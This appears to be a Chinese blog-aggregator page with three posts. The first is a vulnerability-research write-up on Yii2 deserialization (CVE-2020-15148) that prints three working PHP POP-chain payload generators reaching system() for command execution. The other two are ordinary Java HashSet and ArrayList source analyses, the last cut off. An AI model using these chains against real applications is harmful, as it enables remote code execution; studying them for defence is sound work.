首页 文章 精选 留言 我的

精选列表

搜索[techo day],共2890篇文章
优秀的个人博客,低调大师

我是怎么挖掘yii2反序列化0day的

🐻弟们,又到周末了,是时候给大家整活儿了 放心,这次不是在线吹牛环节,咱们还是得偶尔换换口味整整硬菜嘛 话说 周五我们小组团建结束,我扶着地铁回到了我温暖的小窝 一进屋,这该死的令人陶醉的氛围就让我丢盔卸甲,疲软不堪,就像是陷入了一位妙龄少女的温柔乡一般 我顺手把小书包儿一扔,鞋儿一脱,打开电脑准备欣赏一下脱口秀大会,给自己补充点快乐 又顺手打开了荒野乱斗 一边在脱口秀的舞台上补充快乐,一边在多人竞技的战场上独领风骚 这滋味,10瓶肥宅快乐水也换不来呀🤤 给大家看看我这职业玩家般丝滑的操作 可是正当我玩的起劲的时候,我无意间在微信上看到有师傅发了最新的yii2框架反序列化漏洞payload 我立马开始焦虑起来😢,这帮家伙真tm不休息吗 手里的游戏突然就不香了,脱口秀的舞台也黯淡无光了 才怪😏 焦虑归焦虑,夜还是不能熬的呀,猛男从来都是十一点睡觉的,嘤嘤嘤 “明天起床搞”,于是我在焦虑中睡去,并给自己定了个六点的⏰ 果然,今天7:30我起床了👻,一起床我就给了自己两耳光:“废物,你个区区(赘婿)菜鸡,还有脸睡懒觉!” 我起床匆匆收拾了一下(把昨晚没看完的脱口秀大会补完),然后就开始着手分析这个反序列化POP链了 咱们还是先来分析一下别人的这个利用链,然后,再说我挖到的一大堆利用链🤔 漏洞分析 挖掘之前还是要搭建好环境嘛,去github上下载yii2的2.0.37版本或其他更低版本 当然,你也可以选择使用composer安装,不过我用composer安装不了(特别慢)所以我是直接到github上下载的 自己在github上下载的yii2需要修改config/web.php文件里cookieValidationKey的值,随便什么值都行 然后切换到你刚刚下载的yii框架根目录,执行命令php yii serve,然后你的yii就在8080端口跑起来了: 接下来,咱们就要去看利用链了,在没有细节披露的情况下就去看github的commit记录: 上图就是与cve-2020-15148相关的所有更新,可以看到就只是在yii\db\BatchQueryResult类里添加了一个__wakeup方法,有些朋友可能不太了解这个方法 __wakeup方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞 那从上面的信息就可以知道BatchQueryResult肯定是这个反序列化链中的一环,而且一般都是第一环,所以咱们就直接去看这个类吧 反序列化利用链的关键函数就是__wakeup以及__destruct,所以,我们直接看__destruct: publicfunction__destruct() { //makesurecursorisclosed $this->reset(); } publicfunctionreset() { if($this->_dataReader!==null){ $this->_dataReader->close(); } $this->_dataReader=null; $this->_batch=null; $this->_value=null; $this->_key=null; } destruct方法里调用了reset方法,reset方法里又调用了close()方法,我一开始以为是close()方法有问题,然后我全局搜索了一下close方法,发现好像没有利用点 然后我回去翻了一下我之前挖thinkphp反序列化的文章,复习了一下php反序列化😉 才意识到$this->_dataREader->close()这里可以利用魔术方法__call,于是开始全局搜索__call,出现了很多结果,但是最好利用的一个是/vendor/fzaninotto/faker/src/Faker/Generator.php,它的__call方法是这样的: publicfunction__call($method,$attributes) { return$this->format($method,$attributes); } 我们跟进format: publicfunctionformat($formatter,$arguments=array()) { returncall_user_func_array($this->getFormatter($formatter),$arguments); } publicfunctiongetFormatter($formatter) { if(isset($this->formatters[$formatter])){ return$this->formatters[$formatter]; } foreach($this->providersas$provider){ if(method_exists($provider,$formatter)){ $this->formatters[$formatter]=array($provider,$formatter); return$this->formatters[$formatter]; } } thrownew\InvalidArgumentException(sprintf('Unknownformatter"%s"',$formatter)); } format里调用了call_user_func_array,$formatter与$arguments我们都不可控, 目前$formatter='close',$arguments为空 但是没关系 $formatter传入了$this->getFormatter,在这个方法中,$this->formatters是我们可控的,这也就意味着getFormatter方法的返回值是可控的 也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空 现在我们可以调用yii框架中的任何一个无参的方法了,这还不够,我们需要rce 所以,我们要找一个无参数的方法,在这个方法中我们可以实现任意代码执行或者间接实现任意代码执行 到目前为止我还不知道这个利用链到底有多长,所以,我一开始采用的笨办法就是找出框架中所有的无参数方法,然后一个个排查 当我输入正则:function \w+\(\)进行🔍时,直接冒出来几千个无参的函数,这让我怎么玩? 后来才知道大哥们是直接找的调用了call_user_func函数的无参方法,可能这就是大师傅们的经验吧 构造正则:function \w+\(\) ?\n?\{(.*\n)+call_user_func 出来22个结果,老怀大慰呀: 经过排查,发现rest/CreateAction.php以及rest/IndexAction.php都特别👍,很好利用 当然,还有其他的,感兴趣的同学可以自行查看 就拿IndexAction.php中的run方法来说,代码如下: publicfunctionrun() { if($this->checkAccess){ call_user_func($this->checkAccess,$this->id); } return$this->prepareDataProvider(); } 可见$this->checkAccess以及$this->id都可控,那,这条利用链不就成了吗: yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run() poc1 构造个payload: <?php namespaceyii\rest{ classCreateAction{ public$checkAccess; public$id; publicfunction__construct(){ $this->checkAccess='system'; $this->id='ls'; } } } namespaceFaker{ useyii\rest\CreateAction; classGenerator{ protected$formatters; publicfunction__construct(){ $this->formatters['close']=[newCreateAction(),'run']; } } } namespaceyii\db{ useFaker\Generator; classBatchQueryResult{ private$_dataReader; publicfunction__construct(){ $this->_dataReader=newGenerator; } } } namespace{ echobase64_encode(serialize(newyii\db\BatchQueryResult)); } ?> 然后,我们验证一下payload是否有效,因为这仅仅是一个反序列化利用链,所以还需要一个反序列化的入口点,这个需要我们自己构造 在controllers目录下创建一个Controller: 然后咱们发送payload: 虽然有报错,但是咱们的命令还是执行了的,nice😀 ok,说完别人的,我该来说说自己挖的一些其它链了 开始挖掘 从github commit记录我们已经知道新版本的BatchQueryResult类已经无法反序列化了,那么我们就需要找一些其它的类了 找其他的类的方式也很简单,全局搜索__destruct与__wakeup函数,然后一个个排查 __wakeup函数都没啥可利用的,但是有几个__destruct函数引起了我的注意 第一个自然是Psr\Http\Message\StreamInterface\FnStream下的析构函数啦,看看它的代码: publicfunction__destruct() { if(isset($this->_fn_close)){ call_user_func($this->_fn_close); } } 我当时就心想,这么简单的一处反序列化都没发现吗,太菜了8,后来才发现FnStream类也修改了__wakeup函数为: publicfunction__wakeup() { thrownew\LogicException('FnStreamshouldneverbeunserialized'); } 不好意思,是我傻逼了 第一条链 那么继续看其它的呗,接下来登场的是Codeception\Extension\RunProcess,我们来看下它的__destruct方法: publicfunction__destruct() { $this->stopProcess(); } publicfunctionstopProcess() { foreach(array_reverse($this->processes)as$process){ /**@var$processProcess**/ if(!$process->isRunning()){ continue; } $this->output->debug('[RunProcess]Stopping'.$process->getCommandLine()); $process->stop(); } $this->processes=[]; } 从上述代码可以看到$this->processes可控,那也就意味着$process可控,然后下面又调用了$process->isRunning,这不又可以接上第一条利用链的__call方法开头的后半段吗? 然后利用链变成: Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run() poc2 <?php namespaceyii\rest{ classCreateAction{ public$checkAccess; public$id; publicfunction__construct(){ $this->checkAccess='system'; $this->id='ls'; } } } namespaceFaker{ useyii\rest\CreateAction; classGenerator{ protected$formatters; publicfunction__construct(){ //这里需要改为isRunning $this->formatters['isRunning']=[newCreateAction(),'run']; } } } //poc2 namespaceCodeception\Extension{ useFaker\Generator; classRunProcess{ private$processes; publicfunction__construct() { $this->processes=[newGenerator()]; } } } namespace{ //生成poc echobase64_encode(serialize(newCodeception\Extension\RunProcess())); } ?> 第二条 然后再来看看类Swift_KeyCache_DiskKeyCache,看看它的__destruct: publicfunction__destruct() { foreach($this->keysas$nsKey=>$null){ $this->clearAll($nsKey); } } 跟进clearAll方法: publicfunctionclearAll($nsKey) { if(array_key_exists($nsKey,$this->keys)){ foreach($this->keys[$nsKey]as$itemKey=>$null){ $this->clearKey($nsKey,$itemKey); } .... } } 这里的$this->keys以及$nsKey、$itemKey啥的都是我们可控的,所以是可以执行到$this->clearKey的,跟进去: publicfunctionclearKey($nsKey,$itemKey) { if($this->hasKey($nsKey,$itemKey)){ $this->freeHandle($nsKey,$itemKey); unlink($this->path.'/'.$nsKey.'/'.$itemKey); } } 这里的$this->path也可控,这就方便了,可以看到这里是进行了一个字符串拼接操作,那么意味着可以利用魔术方法__toString来触发后续操作 全局搜索一下__toString方法,真的不少呀: 这怎么都能找到一个能利用的吧,我随便找了一下,就有三个,就随便拿一个说吧: 上图是我挖的过程中做的笔记😂 就拿See.php中的__toString举例,代码如下: publicfunction__toString():string { return$this->refers.($this->description?''.$this->description->render():''); } 可以看到$this->description可控,又可以利用__call,新链出炉: Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run() poc3 <?php namespaceyii\rest{ classCreateAction{ public$checkAccess; public$id; publicfunction__construct(){ $this->checkAccess='system'; $this->id='ls'; } } } namespaceFaker{ useyii\rest\CreateAction; classGenerator{ protected$formatters; publicfunction__construct(){ //这里需要改为isRunning $this->formatters['render']=[newCreateAction(),'run']; } } } namespacephpDocumentor\Reflection\DocBlock\Tags{ useFaker\Generator; classSee{ protected$description; publicfunction__construct() { $this->description=newGenerator(); } } } namespace{ usephpDocumentor\Reflection\DocBlock\Tags\See; classSwift_KeyCache_DiskKeyCache{ private$keys=[]; private$path; publicfunction__construct() { $this->path=newSee; $this->keys=array( "axin"=>array("is"=>"handsome") ); } } //生成poc echobase64_encode(serialize(newSwift_KeyCache_DiskKeyCache())); } ?> 当然,如果你想要一条全新的链也不是不行,只不过我要吃午🍚去了,下次见 怕什么真理无穷,进一寸有进一寸的欢喜 本文分享自微信公众号 - 一个安全研究员(sec_tntaxin)。 如有侵权,请联系 support@oschina.cn 删除。 本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

优秀的个人博客,低调大师

【Java入门提高篇】Day26 Java容器类详解(八)HashSet源码分析

前面花了好几篇的篇幅把HashMap里里外外说了个遍,大家可能对于源码分析篇已经讳莫如深了。别慌别慌,这一篇来说说集合框架里最偷懒的一个家伙——HashSet,为什么说它是最偷懒的呢,先留个悬念,看完本文之后,你就会知道所言不假了。 本篇将从以下几点来进行介绍: 1.HashSet的特点和使用场景 2.HashSet的示例 3.HashSet的继承结构图 4.HashSet的源码解析 HashSet的特点和使用场景 HashSet是Set家族的一员,所以也具有着Set的全部性质,比如元素无序,元素不可重复,但HashSet也有它自己的一些特性,比如它的查找效率很高,跟HashMap的查找效率一样高(滑稽,看完源码分析你就知道为什么了),它的基本操作如,add/remove/contains/size等都只需要常量时间的开销,并且允许存在null值。 所以HashSet的一个很重要的应用就是去重,把一堆存在重复的数据往HashSet里一丢,里面的元素因为是不会存在重复的,所以再取出来的时候就已经是去重过的数据了,这样HashSet就像一个筛子,把数据筛选了一次。另外HashSet由于其查找效率很高,所以也用于数据的查找,比如将处理过的数据往里面一丢,处理下一个数据的时候先到HashSet中查找一次,如果存在则说明已经处理过,不存在则继续处理。 HashSet的示例 接下来,看一个HashSet的小栗子吧。 1 public class Test { 2 3 public static void main(String[] args){ 4 //nameList中可以存在重复元素,且顺序跟插入的顺序相同 5 List<String> nameList = new ArrayList<>(); 6 nameList.add("Alice"); 7 nameList.add("Frank"); 8 nameList.add("Charles"); 9 nameList.add("Emma"); 10 nameList.add("Jessie"); 11 nameList.add("Frank"); 12 System.out.println(nameList); 13 14 //将列表里的元素插入到Set后,可以去除重复元素,但是没有顺序 15 System.out.println("====add===="); 16 Set<String> nameSet = new HashSet<>(); 17 for (String name : nameList){ 18 nameSet.add(name); 19 } 20 System.out.println(nameSet); 21 22 System.out.println("====contains===="); 23 System.out.println(nameSet.contains("Frank")); 24 System.out.println(nameSet.contains("Bob")); 25 26 System.out.println(nameSet.containsAll(nameList)); 27 28 System.out.println("====remove===="); 29 nameSet.remove("Frank"); 30 System.out.println(nameSet); 31 32 nameSet.forEach(System.out::println); 33 34 System.out.println("====Iterator===="); 35 Iterator iterator = nameSet.iterator(); 36 while (iterator.hasNext()){ 37 System.out.println(iterator.next()); 38 } 39 40 } 41 } 输出如下: [Alice, Frank, Charles, Emma, Jessie, Frank] ====add==== [Charles, Alice, Jessie, Frank, Emma] ====contains==== true false true ====remove==== [Charles, Alice, Jessie, Emma] Charles Alice Jessie Emma ====Iterator==== Charles Alice Jessie Emma HashSet的继承结构图 HashSet是继承自AbstractSet类的,同时实现了Set接口,Serializable接口,Cloneable接口,AbstractSet是Set的便利类,实现了Set接口的部分方法框架,AbstractSet里的方法其实很少,它继承自AbstractCollection类,同时实现了Set接口。 1 public abstract class AbstractSet<E> extends AbstractCollection<E> implements Set<E> { 2 3 protected AbstractSet() { 4 } 5 6 // 比较和哈希 7 8 /** 9 * 比较两个HashSet是否相等 10 * 先比较是否是同一个引用,然后判断o是否实现了Set接口 11 * 再比较它们的大小是否一致,最后判断是否包含了o中所有元素 12 */ 13 public boolean equals(Object o) { 14 if (o == this) 15 return true; 16 17 if (!(o instanceof Set)) 18 return false; 19 Collection<?> c = (Collection<?>) o; 20 if (c.size() != size()) 21 return false; 22 try { 23 return containsAll(c); 24 } catch (ClassCastException unused) { 25 return false; 26 } catch (NullPointerException unused) { 27 return false; 28 } 29 } 30 31 /** 32 * hashCode方法,计算所有元素的hashCode之和 33 */ 34 public int hashCode() { 35 int h = 0; 36 Iterator<E> i = iterator(); 37 while (i.hasNext()) { 38 E obj = i.next(); 39 if (obj != null) 40 h += obj.hashCode(); 41 } 42 return h; 43 } 44 45 /** 46 * 移除所有在集合c中的元素 47 * 如果c中元素个数小于该Set中的元素个数,则遍历c中的元素,使用Set中的remove方法进行移除。 48 * 相反,如果c中的元素个数大于Set中的元素个数,则遍历该Set中的元素,如果存在于c中,则调用迭代器的remove方法进行移除。 49 */ 50 public boolean removeAll(Collection<?> c) { 51 Objects.requireNonNull(c); 52 boolean modified = false; 53 54 if (size() > c.size()) { 55 for (Iterator<?> i = c.iterator(); i.hasNext(); ) 56 //这里其实用了一个很巧妙的位操作,只要remove有一次成功,则返回true,modified就会变成true,之后不管remove返回true还是false,与modified进行或操作的时候结果都是true,所以只要remove中有一次是成功的,modified变量就是true 57 modified |= remove(i.next()); 58 } else { 59 for (Iterator<?> i = iterator(); i.hasNext(); ) { 60 if (c.contains(i.next())) { 61 i.remove(); 62 modified = true; 63 } 64 } 65 } 66 return modified; 67 } 68 69 } HashSet的源码解析 先来看看源码的结构: 相比HashMap是不是方法少了很多很多,也许你会好奇,HashSet是如何用将精华操作塞在这么少的方法中的,嗯,一起来看看它是怎样实现的吧: public Iterator<E> iterator() { return map.keySet().iterator(); } public int size() { return map.size(); } public boolean isEmpty() { return map.isEmpty(); } public boolean contains(Object o) { return map.containsKey(o); } public boolean add(E e) { return map.put(e, PRESENT)==null; } public boolean remove(Object o) { return map.remove(o)==PRESENT; } public void clear() { map.clear(); } @SuppressWarnings("unchecked") public Object clone() { try { HashSet<E> newSet = (HashSet<E>) super.clone(); newSet.map = (HashMap<E, Object>) map.clone(); return newSet; } catch (CloneNotSupportedException e) { throw new InternalError(e); } } 看完你也许会觉得,WTF???主要方法全部是一行代码解决??来看看这个map到底是何方神圣: private transient HashMap<E,Object> map; 惊不惊喜,意不意外,HashSet其实就是里面放了一个HashMap实例,所有操作都是通过HashMap去完成的,至于它的元素不可重复特性,也是借助于HashMap的键值不可重复实现的。嗯,说它是最懒的容器类不过分吧。 再来看看它的几个构造函数: 1 /** 2 * 构造一个空的HashSet,其中的HashMap实例使用默认的初始容量(16)和默认的装载因子(0.75) 3 */ 4 public HashSet() { 5 map = new HashMap<>(); 6 } 7 8 /** 9 * 构建一个包含指定集合所有元素的HashSet,其中的HashMap实例使用默认的装载因子(0.75)和能够容纳下集合中所有元素的初始容量(别忘了,必须是2的幂次方) 10 */ 11 public HashSet(Collection<? extends E> c) { 12 map = new HashMap<>(Math.max((int) (c.size()/.75f) + 1, 16)); 13 addAll(c); 14 } 15 16 /** 17 * 构建一个空的HashSet,其中的HashMap实例使用指定的加载因子和初始容量 18 */ 19 public HashSet(int initialCapacity, float loadFactor) { 20 map = new HashMap<>(initialCapacity, loadFactor); 21 } 22 23 /** 24 * 构建一个空的HashSet,其中的HashMap使用默认的加载因子和指定的容量大小 25 */ 26 public HashSet(int initialCapacity) { 27 map = new HashMap<>(initialCapacity); 28 } 29 30 /** 31 * 构建一个空的LinkedHashSet,这是一个包私有的构造器,仅仅被LinkedHashSet使用,里面的HashMap是一个LinkedHashMap实例,使用指定的容量和装载因子 32 * dummy是一个没有意义的参数,目的是为了跟上面的构造函数区分开来,如果没有这个参数,将不能进行有效重载 33 */ 34 HashSet(int initialCapacity, float loadFactor, boolean dummy) { 35 map = new LinkedHashMap<>(initialCapacity, loadFactor); 36 } 37 38 所以,其实可以灵活定制HashSet的大小和装载因子,只是一般情况下,使用默认的即可,除非知道里面要放的元素个数,并且数量比较大时,才需要进行指定容量,这样可以减少扩容次数。 再来看看剩下的几个函数: /** * 序列化 */ private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { // Write out any hidden serialization magic s.defaultWriteObject(); // Write out HashMap capacity and load factor s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); // Write out size s.writeInt(map.size()); // Write out all elements in the proper order. for (E e : map.keySet()) s.writeObject(e); } /** * 反序列化 */ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in any hidden serialization magic s.defaultReadObject(); // Read capacity and verify non-negative. int capacity = s.readInt(); if (capacity < 0) { throw new InvalidObjectException("Illegal capacity: " + capacity); } // Read load factor and verify positive and non NaN. float loadFactor = s.readFloat(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) { throw new InvalidObjectException("Illegal load factor: " + loadFactor); } // Read size and verify non-negative. int size = s.readInt(); if (size < 0) { throw new InvalidObjectException("Illegal size: " + size); } // Set the capacity according to the size and load factor ensuring that // the HashMap is at least 25% full but clamping to maximum capacity. capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f), HashMap.MAXIMUM_CAPACITY); // Constructing the backing map will lazily create an array when the first element is // added, so check it before construction. Call HashMap.tableSizeFor to compute the // actual allocation size. Check Map.Entry[].class since it's the nearest public type to // what is actually created. SharedSecrets.getJavaOISAccess() .checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity)); // Create backing HashMap map = (((HashSet<?>)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order. for (int i=0; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } } /** * 可分割式迭代器 */ public Spliterator<E> spliterator() { return new HashMap.KeySpliterator<E,Object>(map, 0, -1, 0, 0); } 嗯,HashSet的介绍就这么多了,很简单吧。 之后还会继续将容器家族中常见的容器类进行源码解析,如LinkedList,LinkedHashMap,LinkedHashSet,TreeMap,TreeSet。嗯,所以预计关于容器类还有至少五篇文章,希望大家能耐心看下去,当然,如果对于源码解析实在没什么兴趣,也可以先跳过这一部分,先知道怎么用就好了。 之后还会努力更新,欢迎大家继续关注。真正重要的东西,用眼睛是看不见的。

优秀的个人博客,低调大师

【Java入门提高篇】Day21 Java容器类详解(四)ArrayList源码分析

今天要介绍的是List接口中最常用的实现类——ArrayList,本篇的源码分析基于JDK8,如果有不一致的地方,可先切换到JDK8后再进行操作。 本篇的内容主要包括这几块: 1.源码结构介绍 2.源代码展示 3.要点说明 4.优缺点说明 一、源码结构介绍 ArrayList的源码跟之前的接口源码比起来,那可就不能同日而语了,一千多行代码,如果直接看的话确实有些费劲,但仔细看看就会发现,其实大致结构是这样的: 其中包含了好四个内部类: ArrayListSpliterator:ArrayList可分割的迭代器,基于二分法的可分割迭代器,是为了并行遍历元素而设计的一种迭代器,jdk1.8 中的集合框架中的数据结构都默认实现了 spliterator。 Itr:实现Iterator接口的迭代器,为ArrayList进行优化。 ListItr:实现ListIterator接口的迭代器,为ArrayList进行优化。 SubList:实现了AbstractList和RandomAccess接口的子列表。 这四个内部类就占了将近一半的篇幅,足可见其重要性。这四个类中前三个都是跟迭代器有关,最后一个是为了处理局部列表而设计的子列表类。 二、源代码展示: 下面是蹩脚翻译讲解版的源码: /** * ArrayList 是List接口的动态数组实现,实现了List的所有可选操作,并且允许所有元素,包括null。 * ArrayList 跟Vector差不多,但它不是线程安全的。 * ArrayList 的容量会根据列表大小自动调整。在添加大量元素之前,可以使用ensureCapacity 方法来保证列表有足够空间存放元素。 * ArrayList 不是线程安全的,所以如果多条线程将要对其进行结构性改变时(如添加删除元素),需要使用synchronized 进行同步。 * 如果不存在这样的对象,则需要使用其同步包装类 Collections.synchronizedList * List list = Collections.synchronizedList(new ArrayList(...)); * * iterator() 方法将会返回一个listIterator,其中的方法是“fail-fast(快速失败的)”,如果在创建了迭代器之后,在用迭代器遍历一个列表时, * 如果遍历过程中对集合对象的内容进行了修改(增加、删除、修改),则会抛出Concurrent Modification Exception。 * 但fail-fast 的行为是无法得到保证的,不可能对是否出现不同步并发修改做出任何硬性保证。 * 快速失败迭代器会尽最大努力抛出 ConcurrentModificationException。 * 因此,为提高这类迭代器的正确性而编写一个依赖于此异常的程序是错误的做法:迭代器的快速失败行为应该仅用于检测 bug。 */ public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, java.io.Serializable { private static final long serialVersionUID = 8683452581122892189L; /** * 默认容量 */ private static final int DEFAULT_CAPACITY = 10; /** * 空实例共享的空数组 * todo 为什么要区分 EMPTY_ELEMENTDATA 与 DEFAULTCAPACITY_EMPTY_ELEMENTDATA */ private static final Object[] EMPTY_ELEMENTDATA = {}; /** * 默认大小的空实例共享的空数组 */ private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; /** * ArrayList的元素存储在其中的数组缓冲区。ArrayList的容量是这个数组缓冲区的长度。 * 当添加第一个元素时,任何为 DEFAULTCAPACITY_EMPTY_ELEMENTDATA 的空ArrayList的容量 * 将扩充到默认大小DEFAULT_CAPACITY(10)。 * 设置为非private 是为了方便内部类进行访问 * * todo 内部动态数组的维护 */ transient Object[] elementData; /** * 列表中实际存储的元素个数 * * todo size 与 capacity */ private int size; /** * 构造一个指定初始容量的空列表 */ public ArrayList(int initialCapacity) { if (initialCapacity > 0) { this.elementData = new Object[initialCapacity]; } else if (initialCapacity == 0) { this.elementData = EMPTY_ELEMENTDATA; } else { throw new IllegalArgumentException("Illegal Capacity: "+ initialCapacity); } } /** * 构造一个默认容量的空列表 */ public ArrayList() { this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA; } /** * 构造一个包含集合C中所有元素的列表,存储顺序为集合C迭代器遍历的顺序 */ public ArrayList(Collection<? extends E> c) { elementData = c.toArray(); if ((size = elementData.length) != 0) { // c.toArray might (incorrectly) not return Object[] (see 6260652) if (elementData.getClass() != Object[].class) elementData = Arrays.copyOf(elementData, size, Object[].class); } else { // replace with empty array. this.elementData = EMPTY_ELEMENTDATA; } } /** * 调整容量大小到列表当前元素个数,以节约存储空间 */ public void trimToSize() { //todo modCount的作用 modCount++; if (size < elementData.length) { elementData = (size == 0) ? EMPTY_ELEMENTDATA : Arrays.copyOf(elementData, size); } } /** * 增加列表容量以确保它至少能容纳指定数量的元素 * * todo 扩容方式 */ public void ensureCapacity(int minCapacity) { //最小扩容量 //如果elementData是空数组则最小扩容量为0,否则最小扩容量为10 int minExpand = (elementData != DEFAULTCAPACITY_EMPTY_ELEMENTDATA) ? 0 : DEFAULT_CAPACITY; //如果指定的容量比最小扩容量大,则进行扩容操作 if (minCapacity > minExpand) { ensureExplicitCapacity(minCapacity); } } private static int calculateCapacity(Object[] elementData, int minCapacity) { if (elementData == DEFAULTCAPACITY_EMPTY_ELEMENTDATA) { return Math.max(DEFAULT_CAPACITY, minCapacity); } return minCapacity; } private void ensureCapacityInternal(int minCapacity) { ensureExplicitCapacity(calculateCapacity(elementData, minCapacity)); } private void ensureExplicitCapacity(int minCapacity) { modCount++; // overflow-conscious code if (minCapacity - elementData.length > 0) grow(minCapacity); } /** * 数组容量最大值(- 8 是因为部分 JVM 需要在数组中存入部分头信息) */ private static final int MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8; /** * 扩容函数,扩容1.5 倍,扩容后的列表大小在minCapacity与1.5 倍原大小之间取最大值 */ private void grow(int minCapacity) { // overflow-conscious code int oldCapacity = elementData.length; // >> 是右移运算符,作用结果是将原数值的二进制数右移指定位数,转换成十进制的效果 // 就是除以2的指定次方,这里右移一位即除以2 int newCapacity = oldCapacity + (oldCapacity >> 1); if (newCapacity - minCapacity < 0) newCapacity = minCapacity; if (newCapacity - MAX_ARRAY_SIZE > 0) newCapacity = hugeCapacity(minCapacity); // minCapacity is usually close to size, so this is a win: elementData = Arrays.copyOf(elementData, newCapacity); } private static int hugeCapacity(int minCapacity) { if (minCapacity < 0) // overflow throw new OutOfMemoryError(); return (minCapacity > MAX_ARRAY_SIZE) ? Integer.MAX_VALUE : MAX_ARRAY_SIZE; } /** * 元素个数 */ public int size() { return size; } /** * 是否为空 */ public boolean isEmpty() { return size == 0; } /** * 是否包含某个元素 */ public boolean contains(Object o) { return indexOf(o) >= 0; } /** * 查找元素第一次出现的位置 */ public int indexOf(Object o) { if (o == null) { for (int i = 0; i < size; i++) if (elementData[i]==null) return i; } else { for (int i = 0; i < size; i++) if (o.equals(elementData[i])) return i; } return -1; } /** * 查找元素最后一次出现的位置 */ public int lastIndexOf(Object o) { if (o == null) { for (int i = size-1; i >= 0; i--) if (elementData[i]==null) return i; } else { for (int i = size-1; i >= 0; i--) if (o.equals(elementData[i])) return i; } return -1; } /** * 返回一个深克隆对象 */ public Object clone() { try { // Object 的克隆方法,复制本对象及其内所有基本类型成员和 String 类型成员 // 但不会复制引用对象 ArrayList<?> v = (ArrayList<?>) super.clone(); v.elementData = Arrays.copyOf(elementData, size); v.modCount = 0; return v; } catch (CloneNotSupportedException e) { // this shouldn't happen, since we are Cloneable throw new InternalError(e); } } /** * 转化成对象数组 */ public Object[] toArray() { return Arrays.copyOf(elementData, size); } /** * 将列表转存到数组a中,如果a的空间足够则直接存放,否则会新建一个数组进行存储 */ @SuppressWarnings("unchecked") public <T> T[] toArray(T[] a) { if (a.length < size) // Make a new array of a's runtime type, but my contents: return (T[]) Arrays.copyOf(elementData, size, a.getClass()); System.arraycopy(elementData, 0, a, 0, size); if (a.length > size) a[size] = null; return a; } // 位置访问操作 @SuppressWarnings("unchecked") E elementData(int index) { return (E) elementData[index]; } /** * 取序号为index的元素 */ public E get(int index) { rangeCheck(index); return elementData(index); } /** * 替换指定位置的元素,并返回原来的元素 */ public E set(int index, E element) { rangeCheck(index); E oldValue = elementData(index); elementData[index] = element; return oldValue; } /** * 添加元素 */ public boolean add(E e) { ensureCapacityInternal(size + 1); // Increments modCount!! elementData[size++] = e; return true; } /** * 插入元素 */ public void add(int index, E element) { rangeCheckForAdd(index); ensureCapacityInternal(size + 1); // Increments modCount!! System.arraycopy(elementData, index, elementData, index + 1, size - index); elementData[index] = element; size++; } /** * 移除指定序号的元素 */ public E remove(int index) { rangeCheck(index); modCount++; E oldValue = elementData(index); int numMoved = size - index - 1; if (numMoved > 0) System.arraycopy(elementData, index+1, elementData, index, numMoved); elementData[--size] = null; // clear to let GC do its work return oldValue; } /** * 移除某个元素 */ public boolean remove(Object o) { if (o == null) { for (int index = 0; index < size; index++) if (elementData[index] == null) { fastRemove(index); return true; } } else { for (int index = 0; index < size; index++) if (o.equals(elementData[index])) { fastRemove(index); return true; } } return false; } /* * 快速移除 */ private void fastRemove(int index) { modCount++; int numMoved = size - index - 1; if (numMoved > 0) //调用System.arraycopy 进行数组拷贝 //四个参数分别是:待拷贝的数组,原数组的拷贝起始位置,拷贝到的目标数组,目标数组的起始位置 //这里相当于把原数组的一部分拷贝到另一部分,将数组从index+1以后的部分整体往前移一个单位 //将index那个元素覆盖掉 System.arraycopy(elementData, index+1, elementData, index, numMoved); //然后将最后一个元素置为null elementData[--size] = null; // clear to let GC do its work } /** * 移除所有元素(将所有元素置为null,容量不变) */ public void clear() { modCount++; // clear to let GC do its work for (int i = 0; i < size; i++) elementData[i] = null; size = 0; } /** * 将集合C中的所有元素添加到列表中 */ public boolean addAll(Collection<? extends E> c) { //先将c转换为数组,然后再复制过来 Object[] a = c.toArray(); int numNew = a.length; ensureCapacityInternal(size + numNew); // Increments modCount System.arraycopy(a, 0, elementData, size, numNew); size += numNew; return numNew != 0; } /** * 将集合C中的元素插入指定位置 */ public boolean addAll(int index, Collection<? extends E> c) { rangeCheckForAdd(index); Object[] a = c.toArray(); int numNew = a.length; ensureCapacityInternal(size + numNew); // Increments modCount int numMoved = size - index; if (numMoved > 0) System.arraycopy(elementData, index, elementData, index + numNew, numMoved); System.arraycopy(a, 0, elementData, index, numNew); size += numNew; return numNew != 0; } /** * 范围性移除,移除列表里序号从fromIndex到toIndex的所有元素,包含fromIndex,不包含toIndex */ protected void removeRange(int fromIndex, int toIndex) { modCount++; int numMoved = size - toIndex; System.arraycopy(elementData, toIndex, elementData, fromIndex, numMoved); // 将其余位置置为null int newSize = size - (toIndex-fromIndex); for (int i = newSize; i < size; i++) { elementData[i] = null; } size = newSize; } /** * 检测index是否超过边界 */ private void rangeCheck(int index) { if (index >= size) throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); } /** * 插入时边界检测 */ private void rangeCheckForAdd(int index) { if (index > size || index < 0) throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); } /** * 生成 IndexOutOfBoundsException 的详细信息 */ private String outOfBoundsMsg(int index) { return "Index: "+index+", Size: "+size; } /** * 移除列表中所有存在于集合c中的元素 */ public boolean removeAll(Collection<?> c) { Objects.requireNonNull(c); return batchRemove(c, false); } /** * 